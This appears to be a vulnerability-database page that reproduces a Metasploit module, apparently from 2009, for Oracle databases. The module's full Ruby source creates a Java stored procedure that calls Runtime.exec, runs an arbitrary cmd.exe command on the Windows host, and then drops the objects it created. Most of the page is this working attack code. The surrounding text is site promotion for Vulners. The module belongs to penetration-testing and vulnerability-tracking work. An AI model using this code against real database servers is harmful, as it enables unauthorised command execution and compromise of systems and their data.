Lucene search
K

Oracle Java execCommand (Win32)

🗓️ 29 Jul 2009 04:18:08Reported by MC <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 14 Views

Oracle Java execCommand for Win32. Creates java class to execute OS commands

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::ORACLE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle Java execCommand (Win32)',
      'Description'    => %q{
          This module will create a java class which enables the execution of OS commands.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://web.archive.org/web/20110322124810/http://www.metasploit.com:80/users/mc/' ],
        ],
      'DisclosureDate' => '2007-12-07'))

      register_options(
        [
          OptString.new('CMD', [ false, 'The OS command to execute.',  'echo metasploit > %SYSTEMDRIVE%\\\\unbreakable.txt']),
        ])
  end

  def run
    return if not check_dependencies

    source = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
    name   = Rex::Text.rand_text_alpha_upper(rand(10) + 1)

    java = "
      create or replace and resolve java source named \"#{source}\" as
      import java.lang.*;
      import java.io.*;
      public class #{source}
      {
      public static void execCommand (String command) throws IOException
      {
      Runtime.getRuntime().exec(command);
      }
      };
      "

    procedure = "
      create or replace procedure #{name} (p_command in varchar2)
      as language java
      name '#{source}.execCommand (java.lang.String)';
      "

    exec      = "begin #{name}('cmd.exe /c #{datastore['CMD']}'); end;"

    drops     = "drop java source #{source}"

    dropp     = "drop procedure #{name}"

    begin
      print_status("Creating java source '#{source}'...")
      prepare_exec(java)
    rescue => e
      return
    end

    print_status("Creating procedure '#{name}'...")
    prepare_exec(procedure)

    print_status("Sending command: '#{datastore['CMD']}'")
    prepare_exec(exec)

    print_status("Removing java source '#{source}'...")
    prepare_exec(drops)

    print_status("Removing procedure '#{name}'...")
    prepare_exec(dropp)

  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
7.4High risk
Vulners AI Score7.4
14